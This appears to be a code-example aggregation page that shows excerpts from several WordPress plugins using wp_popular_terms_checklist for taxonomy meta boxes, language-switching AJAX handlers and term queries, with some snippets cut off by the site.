$query = $wpdb->prepare("\tSELECT wptt.term_id\n\t\t\t\t\t\t\t\t\tFROM {$wpdb->prefix}icl_translations AS iclt\n\t\t\t\t\t\t\t\t\tJOIN {$wpdb->prefix}term_taxonomy AS wptt\n\t\t\t\t\t\t\t\t\t\tON iclt.element_id = wptt.term_taxonomy_id\n\t\t\t\t\t\t\t\t\tWHERE language_code=%s AND element_type = '{$element_type}'", $lang);
$element_ids = $wpdb->get_results($query);
$element_ids_array = array();
foreach ($element_ids as $element) {
$element_ids_array[] = (int) $element->term_id;
}
$all_elements_in_lang = array();
if (!empty($element_ids_array)) {
$all_elements_in_lang = get_terms(array($taxonomy), array('include' => $element_ids_array, 'hide_empty' => false));
}
$post_terms = array();
if ($post_id) {
$post_terms = wp_get_post_terms($post_id, $taxonomy, array("fields" => "ids"));
}
foreach ($all_elements_in_lang as &$term) {
if ($post_terms) {
$term_key = array_search($term->term_id, $post_terms);
if ($term_key !== false) {
$term->selected = true;
//remove this value from the $post_terms since we already accounted for it completely
unset($post_terms[$term_key]);
} else {
$term->selected = false;
}
}
if ($pop_items) {
if (in_array($term->term_id, $pop_items)) {
$term->popular = true;
} else {
$term->popular = false;
}
}
}
/* Now the situation could arise in which we still have terms on the post that are not in the proper language
* This is dealt with by synchronizing the posts terms language. If a term has a translatation it will be
* appended to the post instead of the original. If it does not have a translation, it will be removed
* from the post.
*/
if (count($post_terms) > 0) {
self::sync_post_and_taxonomy_terms_language($post_id, $taxonomy);
//after having done so we get all terms on the post again
$remaining_untranslated_terms_on_post = (array) wp_get_post_terms($post_id, $taxonomy);
//these terms are all selected
foreach ($remaining_untranslated_terms_on_post as $key => &$term) {
if (in_array($term->term_id, $element_ids_array)) {
//if we already have that element added, we do not need to add it again
$term->selected = true;
} else {
wp_remove_object_terms($post_id, $term->term_id, $taxonomy);
}
}
}
$result = false;
if (is_array($all_elements_in_lang)) {
$result = $all_elements_in_lang;
}
return $result;
}
示例9: _e
</div>
<ul id="category-tabs">
<li class="ui-tabs-selected"><a href="#categories-all" tabindex="3"><?php _e( 'All Categories' ); ?></a></li>
<li class="wp-no-js-hidden"><a href="#categories-pop" tabindex="3"><?php _e( 'Most Used' ); ?></a></li>
</ul>
<div id="categories-all" class="ui-tabs-panel">
<ul id="categorychecklist" class="list:category categorychecklist form-no-clear">
<?php dropdown_categories(); ?>
</ul>
</div>
<div id="categories-pop" class="ui-tabs-panel" style="display: none;">
<ul id="categorychecklist-pop" class="categorychecklist form-no-clear" >
<?php wp_popular_terms_checklist('category'); ?>
</ul>
</div>
</div>
</div>
<?php do_meta_boxes('post', 'normal', $post); ?>
<?php do_action('edit_form_advanced'); ?>
<h2><?php _e('Advanced Options'); ?></h2>
<div id="postexcerpt" class="postbox <?php echo postbox_classes('postexcerpt', 'post'); ?>">
<h3><?php _e('Excerpt') ?></h3>
<div class="inside"><textarea rows="1" cols="40" name="excerpt" tabindex="6" id="excerpt"><?php echo $post->post_excerpt ?></textarea>
示例10: post_lang_choice
/**
* Ajax response for changing the language in the post metabox
*
* @since 0.2
*/
public function post_lang_choice()
{
check_ajax_referer('pll_language', '_pll_nonce');
global $post_ID;
// Obliged to use the global variable for wp_popular_terms_checklist
$post_id = $post_ID = (int) $_POST['post_id'];
$lang = $this->model->get_language($_POST['lang']);
$post_type = $_POST['post_type'];
$post_type_object = get_post_type_object($post_type);
if (!current_user_can($post_type_object->cap->edit_post, $post_ID)) {
wp_die(-1);
}
$this->model->post->set_language($post_ID, $lang);
// Save language, useful to set the language when uploading media from post
ob_start();
if ($lang) {
include PLL_ADMIN_INC . '/view-translations-' . ('attachment' == $post_type ? 'media' : 'post') . '.php';
}
$x = new WP_Ajax_Response(array('what' => 'translations', 'data' => ob_get_contents()));
ob_end_clean();
// Categories
if (isset($_POST['taxonomies'])) {
// Not set for pages
foreach ($_POST['taxonomies'] as $taxname) {
$taxonomy = get_taxonomy($taxname);
ob_start();
$popular_ids = wp_popular_terms_checklist($taxonomy->name);
$supplemental['populars'] = ob_get_contents();
ob_end_clean();
ob_start();
// Use $post_ID to remember ckecked terms in case we come back to the original language
wp_terms_checklist($post_ID, array('taxonomy' => $taxonomy->name, 'popular_cats' => $popular_ids));
$supplemental['all'] = ob_get_contents();
ob_end_clean();
$supplemental['dropdown'] = wp_dropdown_categories(array('taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new' . $taxonomy->name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $taxonomy->labels->parent_item . ' —', 'echo' => 0));
$x->Add(array('what' => 'taxonomy', 'data' => $taxonomy->name, 'supplemental' => $supplemental));
}
}
// Parent dropdown list ( only for hierarchical post types )
if (in_array($post_type, get_post_types(array('hierarchical' => true)))) {
$post = get_post($post_ID);
// Args and filter from 'page_attributes_meta_box' in wp-admin/includes/meta-boxes.php of WP 4.2.1
$dropdown_args = array('post_type' => $post->post_type, 'exclude_tree' => $post->ID, 'selected' => $post->post_parent, 'name' => 'parent_id', 'show_option_none' => __('(no parent)'), 'sort_column' => 'menu_order, post_title', 'echo' => 0);
/** This filter is documented in wp-admin/includes/meta-boxes.php */
$dropdown_args = apply_filters('page_attributes_dropdown_pages_args', $dropdown_args, $post);
// Since WP 3.3
$x->Add(array('what' => 'pages', 'data' => wp_dropdown_pages($dropdown_args)));
}
// Flag
$x->Add(array('what' => 'flag', 'data' => empty($lang->flag) ? esc_html($lang->slug) : $lang->flag));
// Sample permalink
$x->Add(array('what' => 'permalink', 'data' => get_sample_permalink_html($post_ID)));
$x->send();
}
示例11: _e
-pop"><?php
_e('Most Used', 'wpcf');
?>
</a></li>
</ul>
<div id="<?php
echo $taxonomy;
?>
-pop" class="tabs-panel" style="display: none;">
<ul id="<?php
echo $taxonomy;
?>
checklist-pop" class="categorychecklist form-no-clear" >
<?php
$popular_ids = wp_popular_terms_checklist($taxonomy);
?>
</ul>
</div>-->
<div id="<?php
echo $html_id;
?>
-all" class="tabs-panel">
<?php
// $name = ( $taxonomy == 'category' ) ? 'post_category' : 'tax_input[' . $taxonomy . ']';
echo "<input type='hidden' name='{$_wpcf_name}[]' value='0' />";
// Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks.
?>
示例12: custom_post_categories_meta_box
function custom_post_categories_meta_box($post, $box)
{
$defaults = array('taxonomy' => 'category');
if (!isset($box['args']) || !is_array($box['args'])) {
$args = array();
} else {
$args = $box['args'];
}
$r = wp_parse_args($args, $defaults);
$tax_name = esc_attr($r['taxonomy']);
$taxonomy = get_taxonomy($r['taxonomy']);
?>
<div id="taxonomy-<?php
echo $tax_name;
?>
" class="categorydiv">
<ul id="<?php
echo $tax_name;
?>
-tabs" class="category-tabs">
<li class="tabs"><a href="#<?php
echo $tax_name;
?>
-all"><?php
echo $taxonomy->labels->all_items;
?>
</a></li>
<li class="hide-if-no-js"><a href="#<?php
echo $tax_name;
?>
-pop"><?php
_e('Most Used');
?>
</a></li>
</ul>
<div id="<?php
echo $tax_name;
?>
-pop" class="tabs-panel" style="display: none;">
<ul id="<?php
echo $tax_name;
?>
checklist-pop" class="categorychecklist form-no-clear" >
<?php
$popular_ids = wp_popular_terms_checklist($tax_name);
?>
</ul>
</div>
<div id="<?php
echo $tax_name;
?>
-all" class="tabs-panel">
<?php
$name = $tax_name == 'category' ? 'post_category' : 'tax_input[' . $tax_name . ']';
echo "<input type='hidden' name='{$name}[]' value='0' />";
// Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks.
?>
<ul id="<?php
echo $tax_name;
?>
checklist" data-wp-lists="list:<?php
echo $tax_name;
?>
" class="categorychecklist form-no-clear">
<?php
/***************************************************
Where the magic happens
****************************************************/
$current_user = wp_get_current_user();
$user_id = $current_user->ID;
if (current_user_can('manage_options')) {
$privs = array('');
} else {
$privs = get_user_meta($user_id, 'user_privelages', true);
}
foreach ($privs as $priv) {
$args = array('descendants_and_self' => $priv, 'taxonomy' => 'pages', 'checked_ontop' => false);
wp_terms_checklist($post->ID, $args);
}
/***************************************************
Where the magic ends
****************************************************/
?>
</ul>
</div>
<?php
if (current_user_can($taxonomy->cap->edit_terms)) {
?>
<div id="<?php
echo $tax_name;
?>
-adder" class="wp-hidden-children">
<h4>
<a id="<?php
echo $tax_name;
?>
-add-toggle" href="#<?php
echo $tax_name;
//.........这里部分代码省略.........
示例13: vtmin_post_category_meta_box
public function vtmin_post_category_meta_box($post, $box)
{
$defaults = array('taxonomy' => 'category');
if (!isset($box['args']) || !is_array($box['args'])) {
$args = array();
} else {
$args = $box['args'];
}
extract(wp_parse_args($args, $defaults), EXTR_SKIP);
$tax = get_taxonomy($taxonomy);
//vark => removed the divs with the tabs for 'all' and 'most popular'
?>
<div id="taxonomy-<?php
echo $taxonomy;
?>
" class="categorydiv">
<div id="<?php
echo $taxonomy;
?>
-pop" class="tabs-panel" style="display: none;">
<ul id="<?php
echo $taxonomy;
?>
checklist-pop" class="categorychecklist form-no-clear" >
<?php
$popular_ids = wp_popular_terms_checklist($taxonomy);
?>
</ul>
</div>
<div id="<?php
echo $taxonomy;
?>
-all" class="tabs-panel">
<?php
$name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $tax_class . ']';
//vark replaced $taxonomy with $tax_class
echo "<input type='hidden' name='{$name}[]' value='0' />";
// Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks.
?>
<ul id="<?php
echo $taxonomy;
?>
checklist" class="list:<?php
echo $taxonomy;
?>
categorychecklist form-no-clear">
<?php
switch ($taxonomy) {
case 'roles':
$vtmin_checkbox_classes = new VTMIN_Checkbox_classes();
$vtmin_checkbox_classes->vtmin_fill_roles_checklist($tax_class, $checked_list);
break;
case 'variations':
vtmin_fill_variations_checklist($tax_class, $checked_list, $product_ID, $product_variation_IDs);
break;
default:
//product category or vtmin category...
$this->vtmin_build_checkbox_contents($taxonomy, $tax_class, $checked_list);
break;
}
?>
</ul>
</div>
<?php
//wp-hidden-children div removed, no longer functions as/of WP3.5
?>
</div>
<?php
}
示例14: post_lang_choice
function post_lang_choice()
{
global $post_ID;
// obliged to use the global variable for wp_popular_terms_checklist
$post_ID = $_POST['post_id'];
$post_type = get_post_type($post_ID);
$lang = $this->get_language($_POST['lang']);
$this->set_post_language($post_ID, $lang);
// save language, useful to set the language when uploading media from post
ob_start();
if ($lang) {
include PLL_INC . '/post-translations.php';
}
$x = new WP_Ajax_Response(array('what' => 'translations', 'data' => ob_get_contents()));
ob_end_clean();
// categories
if (isset($_POST['taxonomies'])) {
// not set for pages
foreach ($_POST['taxonomies'] as $taxname) {
$taxonomy = get_taxonomy($taxname);
ob_start();
$popular_ids = wp_popular_terms_checklist($taxonomy->name);
$supplemental['populars'] = ob_get_contents();
ob_end_clean();
ob_start();
// use $post_ID to remember ckecked terms in case we come back to the original language
wp_terms_checklist($post_ID, array('taxonomy' => $taxonomy->name, 'popular_cats' => $popular_ids));
$supplemental['all'] = ob_get_contents();
ob_end_clean();
$supplemental['dropdown'] = wp_dropdown_categories(array('taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new' . $taxonomy->name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $taxonomy->labels->parent_item . ' —', 'echo' => 0));
$x->Add(array('what' => 'taxonomy', 'data' => $taxonomy->name, 'supplemental' => $supplemental));
}
}
// parent dropdown list (only for hierarchical post types)
// $dropdown_args copied from page_attributes_meta_box
if (in_array($post_type, get_post_types(array('hierarchical' => true)))) {
$post = get_post($post_ID);
$dropdown_args = array('post_type' => $post->post_type, 'exclude_tree' => $post->ID, 'selected' => $post->post_parent, 'name' => 'parent_id', 'show_option_none' => __('(no parent)'), 'sort_column' => 'menu_order, post_title', 'echo' => 0);
$dropdown_args = apply_filters('page_attributes_dropdown_pages_args', $dropdown_args, $post);
$x->Add(array('what' => 'pages', 'data' => wp_dropdown_pages($dropdown_args)));
}
$x->send();
}
示例15: vtwpr_post_category_meta_box
public function vtwpr_post_category_meta_box($post, $box)
{
$defaults = array('taxonomy' => 'category');
if (!isset($box['args']) || !is_array($box['args'])) {
$args = array();
} else {
$args = $box['args'];
}
extract(wp_parse_args($args, $defaults), EXTR_SKIP);
$tax = get_taxonomy($taxonomy);
?>
<div id="taxonomy-<?php
echo $taxonomy;
?>
" class="categorydiv">
<div id="<?php
echo $taxonomy;
?>
-pop" class="tabs-panel" style="display: none;">
<ul id="<?php
echo $taxonomy;
?>
checklist-pop" class="categorychecklist form-no-clear" >
<?php
$popular_ids = wp_popular_terms_checklist($taxonomy);
?>
</ul>
</div>
<div id="<?php
echo $taxonomy;
?>
-all" class="tabs-panel">
<?php
$name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $tax_class . ']';
//vark replaced $taxonomy with $tax_class
echo "<input type='hidden' name='{$name}[]' value='0' />";
// Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks.
?>
<ul id="<?php
echo $taxonomy;
?>
checklist" class="list:<?php
echo $taxonomy;
?>
categorychecklist form-no-clear">
<?php
switch ($taxonomy) {
case 'roles':
$vtwpr_checkbox_classes = new VTWPR_Checkbox_classes();
$vtwpr_checkbox_classes->vtwpr_fill_roles_checklist($tax_class, $checked_list);
break;
case 'variations':
vtwpr_fill_variations_checklist($tax_class, $checked_list, $pop_in_out_sw, $product_ID, $product_variation_IDs);
break;
default:
//product category or vtwpr category...
$this->vtwpr_build_checkbox_contents($taxonomy, $tax_class, $checked_list, $pop_in_out_sw);
break;
}
?>
</ul>
</div>
<?php
if (current_user_can($tax->cap->edit_terms) && !($taxonomy == 'roles') && !($taxonomy == 'variations')) {
?>
<div id="<?php
echo $taxonomy;
?>
-adder" class="wp-hidden-children">
<h4>
<a id="<?php
echo $taxonomy;
?>
-add-toggle" href="#<?php
echo $taxonomy;
?>
-add" class="hide-if-no-js" tabindex="3">
<?php
/* translators: %s: add new taxonomy label */
printf(__('+ %s'), $tax->labels->add_new_item);
?>
</a>
</h4>
<p id="<?php
echo $taxonomy;
?>
-add" class="category-add wp-hidden-child">
<label class="screen-reader-text" for="new<?php
echo $taxonomy;
?>
"><?php
echo $tax->labels->add_new_item;
?>
</label>
<input type="text" name="new<?php
echo $taxonomy;
?>
//.........这里部分代码省略.........